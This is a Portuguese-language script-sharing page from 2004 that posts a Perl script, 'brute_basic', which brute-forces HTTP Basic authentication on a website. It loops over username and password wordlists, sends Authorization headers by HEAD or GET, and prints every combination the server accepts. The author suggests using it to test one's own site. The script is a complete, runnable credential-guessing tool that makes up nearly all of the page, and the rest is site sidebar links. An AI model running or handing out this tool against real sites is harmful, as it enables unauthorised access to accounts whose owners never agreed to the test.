brute_basic
Publicado por Marcelo 25/01/2004
[ Hits: 6.427 ]
Script que faz brute-force em autenticação via web do tipo Basic (digest ainda não foi incluído), o script precisa de duas listas de nomes, para usuários e senhas, você pode escolher entre método HEAD e GET (alguns sites bloqueiam HEAD), mas como o script ainda não trabalha com threads, ele é extremamente lento para grandes brute-forces, por isso é mais recomendado para testar o seu próprio website, o script utiliza HTTP 1.1, espero que em próximas versões eu inclua threads...
#!/usr/bin/perl use Socket; use IO::Socket; use MIME::Base64; if ($ARGV[3] =~ /g/) { $metodo='GET'; print "Utilizando método GET ao invés de H EAD\n"; } else { $metodo='HEAD'; } open(logins,$ARGV[1]); @url=split(/\//,$ARGV[0]); $get='/'; $ip=gethostbyname($url[0]); if ($ip) { $ip=inet_ntoa($ip); } else { print "Erro no DNS ao tentar resolver $url[0]!\n"; exit(1); } for ($i=1;$url[$i];$i++) { $get="$get/$url[$i]"; } if (substr($ARGV[0],(length($ARGV[0])-1)) eq '/') { $get="$get/"; } print "Iniciando tentativa de brute-force em $url[0]\n"; for ($nl=0;($user=<logins>);$nl++) { chop $user; close(senhas); open(senhas,$ARGV[2]); for ($np=0;($senha=<senhas>);$np++) { chop $senha; $final=encode_base64("$user:$senha"); $sock=IO::Socket::INET->new(PeerAddr=>$ip,PeerPort=>80,Timeout=>3); if ($sock) { print $sock "$metodo $get HTTP/1.1\nHost: $url[0]\nAuthorization: Basic $final\n\n"; } @div=split(/ /,<$sock>); if ($div[1] eq '403') { print "Forbidden retornado do servidor, pode ser um anti brute-force\n"; } elsif ($div[1] eq '405') { print "O método $metodo não é permitido pelo servidor:\n"; if ($metodo eq 'HEAD') { print "Tente usar a opção -g no final, que utiliza GET"; } else { print "Alguma coisa muito estranha está acontecendo... o servidor não suporta o método GET, não é impossível, mas simplesmente inútil e impede a navegação normal. Verifique se está tudo certo e se o site é navegável!"; } print "\nFechando o brute-force.\n"; exit(1); } else { if ($div[1] ne '401') { print "$user:$senha -> OK! <-> Retorno: $div[1]\n"; $a++; } } # print "$div[0] $div[1] $div[2]\n"; close($sock); } } if (!$a) { $a=0; } print "Programa terminado, combinações tentadas: ".($nl*$np).", senhas achadas: $a\n";
Criando sua própria criptografia em hash
Nenhum comentário foi encontrado.
IA local no bolso, novo visual no Raspberry Pi OS e mais destaques do software livre
Kernel turbinado, compatibilidade em alta e debate sobre sustentabilidade: o dia no mundo Linux
Kernel turbinado e GNOME 49 dominam o giro do dia no mundo Linux
Novidades Linux: Kernel 6.17, distros em ebulição e segurança em foco
Kernel ganha novos linters Rust e distros avançam com recursos de IA
Adicionando o repositório backports no Debian 13 Trixie
Como definir um IP estático no Linux Debian
Alguém que utilize o Warsaw do BB no Ubuntu 24.04 [RESOLVIDO] (7)
Orientação para instalar o Warsaw - módulo de proteção do Banco do Bra... (9)
Como vencer a procrastinação? (0)